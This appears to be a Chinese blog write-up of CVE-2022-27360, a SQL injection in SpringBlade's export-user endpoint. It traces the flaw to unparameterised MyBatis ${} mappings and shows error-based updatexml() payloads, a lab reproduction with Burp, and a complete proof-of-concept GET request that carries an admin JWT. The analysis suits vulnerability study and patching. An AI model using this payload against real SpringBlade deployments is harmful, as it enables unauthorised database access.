码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • SpringBlade CVE-2022-27360 export-user SQL 注入漏洞分析


    漏洞描述

    SpringBlade是一个基于Spring Cloud和Spring Boot的开发框架,旨在简化和加速微服务架构的开发过程。它提供了一系列开箱即用的功能和组件,帮助开发人员快速构建高效可靠的微服务应用。该产品/api/blade-user/export-user接口存在SQL注入。

    漏洞影响版本

    SpringBlade <= v3.2.0

    产品项目地址

    SpringBlade: SpringBlade 是一个由商业级项目升级优化而来的微服务架构,采用Spring Boot 2.7 、Spring Cloud 2021 等核心技术构建,完全遵循阿里巴巴编码规范。提供基于React和Vue的两个前端框架用于快速搭建企业级的SaaS多租户微服务平台。icon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade

    项目源码下载

    SpringBlade 发行版 - Gitee.comicon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade/releases

    漏洞分析

    位于包package org.springblade.modules.system.controller;下的UserController

    其中有方法 exportUser

    该方法引用了QueryWrapper做为sql的查询条件,其中Map user是我们可控的参数

    QueryWrapper使得sql语句变成如下这样的形式

    SELECT * FROM user WHERE key = 'value' AND key = value AND is_deleted = 0

    sql语句中where后面的数据 是我们可控的,如此我们尝试构造如下sql语句

    SELECT * FROM `blade_user` WHERE updatexml(1,concat(0x7e,user(),0x7e),1)=1;
    SELECT * FROM `blade_user` WHERE 1=updatexml(1,concat(0x7e,user(),0x7e),1);
    SELECT * FROM `blade_user` WHERE updatexml(1,concat(0x7e,user(),0x7e),1);

    先在本地测试一下

    payload可以造成sql注入

     补充! 这里还要考虑到底层的sql语句是否采用了预编译机制

    找寻MyBatis 的 XML 映射文件 exportUser方法

    上面的是定义的接口下方是使用xml对接口的实现 。系统采用的${}的方式,这不是预编译的机制,可以造成sql注入

    漏洞环境搭建

    {本次踩的坑有点多,不想细说了}

    本地项目前后端分离,下载下面链接的前后端项目

    项目源码下载

    SpringBlade 发行版 - Gitee.comicon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade/releases

    后端 配置好mysql redis 直接启动

    前端 在项目中执行两条命令直接启动

    npm install //下载前端所需包

    npm start // 启动前端项目

    项目搭建有问题的,可以看官方参考文档

    Wiki - Gitee.comicon-default.png?t=N7T8https://gitee.com/smallc/SpringBlade/wikis/SpringBlade%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C

    漏洞复现

    打开环境web 登录页面

    在用户管理页面选择导出数据

    burp抓包 增加sql注入payload

    sql语句成功执行,漏洞复现成功。

    附赠poc

    GET /api/blade-user/export-user?blade-auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwidG9rZW5fdHlwZSI6ImFjY2Vzc190b2tlbiIsImRlcHRfaWQiOiIxMTIzNTk4ODEzNzM4Njc1MjAxIiwiYWNjb3VudCI6ImFkbWluIiwiY2xpZW50X2lkIjoic3dvcmQiLCJleHAiOjE3MDkxMDQyMDcsIm5iZiI6MTcwOTEwMDYwN30.-Nniy1hq-gVtymm1MFWgbAuTOjwiMMheMccrXoIeeL4hbpRqMS2Fbsmf7EiJWBwMqSPX_Us4MAPevRdZVauNEQ&account=&realName=&updatexml(1,concat(0x7e,user(),0x7e),1)=1 HTTP/1.1
    Host: 192.168.116.128:1888

    注意:blade-auth是必要的 ,本次测试时只要admin登录情况下这串blade-auth就是可用的 貌似生成不够随机,这也算是另一个漏洞了。

  • 相关阅读:
    IO day2
    torch.torchvision
    Matlab:图形绘制
    C++类和对象(上)
    做持续交付概念重要还是场景重要?看“笨办法”如何找到最佳方案
    Java —— 类和对象(二):封装与内部类
    信创办公–基于WPS的Word最佳实践系列 (图文环绕方式)
    国庆9.30
    【XML文件数据预处理】获取xml文件中所有标签名称及数量||提取某个特定标签的数量||生成包含某个标签的图片索引txt并复制图片到指定文件夹
    卡数据兼容性要求-consumer设备架构
  • 原文地址:https://blog.csdn.net/shelter1234567/article/details/136345699
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号